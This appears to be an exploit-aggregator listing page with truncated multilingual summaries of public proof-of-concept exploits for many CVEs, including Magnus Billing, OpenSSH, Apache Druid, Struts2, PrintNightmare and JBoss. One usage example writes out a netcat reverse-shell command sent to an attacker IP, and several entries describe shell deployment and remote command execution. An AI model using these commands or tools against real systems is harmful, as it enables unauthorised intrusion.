CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC CVE-2023-30258-RCE 的概念验证，作者：n0o0b 用法 root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...

cve-2024-6387-poc

cve-2024-6387-poc una condición de carrera en el manejador de señales del servidor OpenSSH sshd 7etsuo Descripción Un exploit para CVE-2024-6387, que ataca una condición de carrera en el manejador de señales del servidor OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad permite l...

CVE-2025-32579

⚠️ CVE-2025-32579 - RCE crítico a través del plugin Sync Posts WordPress 📦 Afecta: Sync Posts 🧨 Puntuación CVSS: 9.9 CRÍTICA 📁 Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 Resumen de la vulnerabilidad El plugin Sync Posts de WordPress, creado por SoftClever Limited, es vulnerable a...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 概念验证（Go 版本） 概述 本仓库包含针对 CVE-2021-25646 的概念验证（PoC）漏洞利用代码，该漏洞是 Apache Druid 中的一个严重远程代码执行漏洞。 该漏洞利用程序使用 Go 编写，可通过终端进行交互式命令注入。 特性 交互式命令注入： 通过交互式 shell 界面，在存在漏洞的 Apache Druid 服务器上执行任意命令。 构建 你需要安装 Go（推荐版本 2.23.4）。 root@kitploit: go build . 这将在当前目录下生成一个二进制文件。 用法 你可以通过构建二进制文件或直接使用 go run...

CVE-2022-35914_poc

CVE-2022-35914poc Modificado para GLPI Offsec Lab: calluserfunc, arraymap, passthru Referencias Modificado para funcionar en el laboratorio de práctica Proving Grounds: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr...

CVE-2026-82642

Readest is an open-source e-book reader built on Tauri. In versions prior to 0.11.16, EPUB chapter HTML is sanitized with DOMPurify using a configuration that forbade only the tag FORBIDTAGS: 'script' in apps/readest-app/src/services/transformers/sanitizer.ts. DOMPurify does not parse the content...

CVE-2024-29050

CVE-2024-29050 CVE-2024-29050 是 Windows 加密服务中的一个安全漏洞，特别是在处理证书时的加密操作过程中。该问题源于整数溢出，当对文件大小或缓冲区长度等数据进行计算时，结果超出了变量允许的极限，导致系统错误计算或错误管理内存。 在这种情况下，加密函数错误处理了某些证书数据，导致内存管理不当。攻击者可以通过向系统提供特制的输入（例如，超大的证书或经过操作的数据字段）来利用此漏洞，使系统覆盖内存区域。这可能导致意外行为，例如系统崩溃，或者更严重的情况下，允许攻击者远程执行恶意代码。...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Explotación Carga de archivos sin restricciones por cifrado débil en versiones afectadas CVE-2017-11317 2. Ejecución remota de código por deserialización insegura - CVE-2019-18935...

CVE-2021-24884

CVE-2021-24884 Formidable 4.09.04中的XSS2RCE Formidable 4.09.04...

CVE-2022-2274

OpenSSL-src 在 RSA 私钥操作时发生堆内存损坏：CVE-2022-2274 摘要 OpenSSL-src-rust 是一个使用 Rust 编写的、以 crate 形式打包的 OpenSSL 源码和从源码构建 OpenSSL 的逻辑。目前有两个受维护的分支，分别对应两个受维护的 OpenSSL 版本，即构建 OpenSSL 3.0 的 main 分支和构建 OpenSSL 1.1.1 的 release/111 分支。 OpenSSL 3.0.4 版本在为支持 AVX512IFMA 指令的 X8664 CPU 实现的 RSA 代码中引入了一个严重缺陷。该问题使得 2048...

CVE-2023-50780

CVE-2023-50780：Apache ActiveMQ Artemis 中可通过 Jolokia API 访问的危险 MBeans 通过枚举并检查 http://127.0.0.1:8161/console/jolokia 上由 Jolokia API 暴露的 MBeans，已识别出以下攻击向量： 使用 Log4J 进行任意文件写入，间接导致远程代码执行 使用 Log4J 进行任意文件读取 使用 Artemis Broker MBeans 进行拒绝服务（DoS） 知晓 Artemis Web 界面所用基本认证凭据的本地攻击者可以利用此漏洞。 注意： 如果服务器设置了...

CVE-2022-3552

CVE-2022-3552 为了利用BoxBlilling中的漏洞，版本必须为："BoxBilling=4.22.1.5"，并且你必须拥有 有效的管理员凭据 。 如果你满足上述条件，以下是获取美味的RCE（远程代码执行）所需的步骤： 创建一个 Python 虚拟环境（Linux） root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 现在安装这个 pwntools 库 root@kitploit: pip3 install pwntools 如果报错缺少依赖，你可能还需要安装一些系统包：...

struts2-jakarta-inject

POC Exploit para CVE-2017-5638 Utilice este exploit únicamente en sistemas de su propiedad o sobre los que tenga permisos explícitos para realizar pruebas Instalación Si ya tiene go instalado en su computadora, go get es la forma de hacerlo go get github.com/Greynad/struts2-jakarta-inject Uso...

CVE-2009-2265

cf8-upload.py ⭐ 一个利用CVE-2009-2265漏洞的python3脚本。 漏洞利用 - CVE-2009-2265 ❗ 该脚本利用了FCKeditor 2.6.4.1中的一个漏洞，该漏洞被集成到Adobe ColdFusion 8.0.1中： https://vulners.com/cve/CVE-2009-2265 该脚本允许用户提交文件，上传到运行ColdFusion 8.0.1的目标计算机并执行它。 前提条件 ✔ python3 requests模块（适用于python3）。可通过以下命令安装： root@kitploit: pip3 install...

CVE-2025-50472

CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache Deserialización de Datos No Confiables Vulnerabilidad de Ejecución Remota de Código PoC de RCE Subí un repositorio de código que contiene un archivo .mdl malicioso a ModelScope con fines de prueba. Se puede usar directamente durante las...

CVE-2021-1675

漏洞说明 打印机后台处理程序是一种管理打印队列的 Windows 服务。它接收用户提交的作业，将其转换为打印机可理解的格式，并在打印机可用时发送。该服务以系统服务（spoolsv.exe）的形式运行，拥有高权限，因此成为攻击的常见目标，例如 PrintNightmare 漏洞。 如何利用 当攻击者尝试远程利用打印后台处理程序，以检查主机是否易受 PrintNightmare 漏洞影响时，可以使用名为 rpcdump.py 的工具，该工具是 Impacket 包的一部分，这是一组在渗透测试环境中广泛使用的工具。 root@kitploit: ❯ rpcdump.py @10.10.188....

-CVE-2024-45352

🚨 CVE-2024-45352 – Ejecución Remota de Código RCE en Xiaomi Smarthome 📌 Resumen Se descubrió una vulnerabilidad crítica CVE-2024-45352 en la aplicación Xiaomi Smarthome, que permite la ejecución remota de código RCE sin autenticación mediante un manejo inadecuado de la entrada en el analizador de...

CVE-2022-24087

CVE-2022-24087-RCE 和 CVE-2022-24086-RCE CVE 描述 CVE-2022-24086 和 CVE-2022-24087 - Magento Open Source 和 Adobe Commerce 联系表单中的输入验证不当漏洞 - CVSS 评分为 9.8/10，被归类为预认证问题，这意味着无需凭据即可利用。 受影响版本： Magento Open Source / Adobe Commerce - 2.3.3-p1 - 2.3.4 Magento Open Source / Adobe Commerce - 2.3.4-p2 - 2.4.2-p2...

jboss-autopwn-1

jboss-autopwn 在2010年BlackHat Europe上展示的JBoss Autopwn——该版本整合了CVE-2010-0738，即Minded Security发现的JBoss认证绕过VERB操控漏洞。 C. Papathanasiou 2010 介绍 该JBoss脚本在目标JBoss AS服务器上部署一个JSP shell。部署后，脚本利用其上传和执行命令的功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定shell和反向连接shell Windows目标的Meterpreter shell和VNC支持 安...

SQLPad-RCE-Exploit-CVE-2022-0944

Cómo funciona: Este código PHP está diseñado para explotar una vulnerabilidad de Ejecución Remota de Código RCE en SQLPad , relacionada con CVE-2022-0944. Funciona inyectando código malicioso en la aplicación SQLPad, forzándola a ejecutar un comando del sistema que abre una reverse shell – una...